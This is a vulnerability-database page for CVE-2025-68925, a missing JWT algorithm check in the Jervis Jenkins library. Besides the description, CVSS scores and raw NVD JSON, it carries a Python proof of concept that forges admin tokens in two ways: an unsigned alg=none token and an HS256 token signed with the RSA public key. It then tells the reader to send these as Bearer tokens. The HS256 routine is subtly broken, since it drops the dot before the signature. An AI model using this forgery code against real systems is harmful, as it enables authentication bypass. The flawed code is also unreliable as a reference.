Security Vulnerability Report
中文
CVE-2025-68925 CVSS 5.3 MEDIUM

CVE-2025-68925

Published: 2026-01-13 20:16:08
Last Modified: 2026-01-20 17:37:27

Description

Jervis is a library for Job DSL plugin scripts and shared Jenkins pipeline libraries. Prior to 2.2, the code doesn't validate that the JWT header specifies "alg":"RS256". This vulnerability is fixed in 2.2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:samrocketman:jervis:*:*:*:*:*:*:*:* - VULNERABLE
Jervis < 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-68925 JWT Algorithm Confusion PoC # Affected: Jervis < 2.2 # Attack Type: JWT algorithm confusion (RS256 to HS256) import base64 import json import hmac import hashlib def base64url_encode(data): """URL-safe base64 encoding without padding""" if isinstance(data, str): data = data.encode('utf-8') return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8') def create_jwt_none_attack(payload): """Create JWT with alg=none (unsigned token)""" header = {"alg": "none", "typ": "JWT"} header_b64 = base64url_encode(json.dumps(header)) payload_b64 = base64url_encode(json.dumps(payload)) # No signature for alg=none unsigned_token = f"{header_b64}.{payload_b64}." return unsigned_token def create_jwt_hs256_attack(header, payload, public_key): """Create JWT with alg switched to HS256 using RSA public key as HMAC key""" # Modify algorithm to HS256 header['alg'] = 'HS256' header_b64 = base64url_encode(json.dumps(header)) payload_b64 = base64url_encode(json.dumps(payload)) # Sign with HMAC using RSA public key as secret message = f"{header_b64}.{payload_b64}" signature = hmac.new( public_key.encode('utf-8'), message.encode('utf-8'), hashlib.sha256 ).digest() signature_b64 = base64url_encode(signature) return f"{message}{signature_b64}" # Example: Forge admin token admin_payload = { "sub": "admin", "iss": "jervis", "iat": 1736800000, "exp": 1736886400, "role": "admin" } # RSA public key (obtained from server's JWKS endpoint or public key exposure) rsa_public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...\n-----END PUBLIC KEY-----" # Generate malicious JWT malicious_jwt_none = create_jwt_none_attack(admin_payload) malicious_jwt_hs256 = create_jwt_hs256_attack({"alg": "RS256", "typ": "JWT"}, admin_payload, rsa_public_key) print("=== CVE-2025-68925 JWT Algorithm Confusion Attack ===") print("\n1. Unsigned JWT (alg=none):") print(malicious_jwt_none) print("\n2. HS256 forged JWT (using RSA public key as HMAC key):") print(malicious_jwt_hs256) print("\nUsage: Use these tokens as Bearer tokens in Authorization header")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68925", "sourceIdentifier": "[email protected]", "published": "2026-01-13T20:16:07.830", "lastModified": "2026-01-20T17:37:26.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jervis is a library for Job DSL plugin scripts and shared Jenkins pipeline libraries. Prior to 2.2, the code doesn't validate that the JWT header specifies \"alg\":\"RS256\". This vulnerability is fixed in 2.2."}, {"lang": "es", "value": "Jervis es una biblioteca para scripts del plugin Job DSL y bibliotecas compartidas de pipeline de Jenkins. Antes de 2.2, el código no valida que el encabezado JWT especifique 'alg':'RS256'. Esta vulnerabilidad se corrige en 2.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samrocketman:jervis:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2", "matchCriteriaId": "F1205448-6074-4B8A-B941-572D3D44F9E1"}]}]}], "references": [{"url": "https://github.com/samrocketman/jervis/commit/c3981ff71de7b0f767dfe7b37a2372cb2a51974a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/samrocketman/jervis/security/advisories/GHSA-5pq9-5mpr-jj85", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}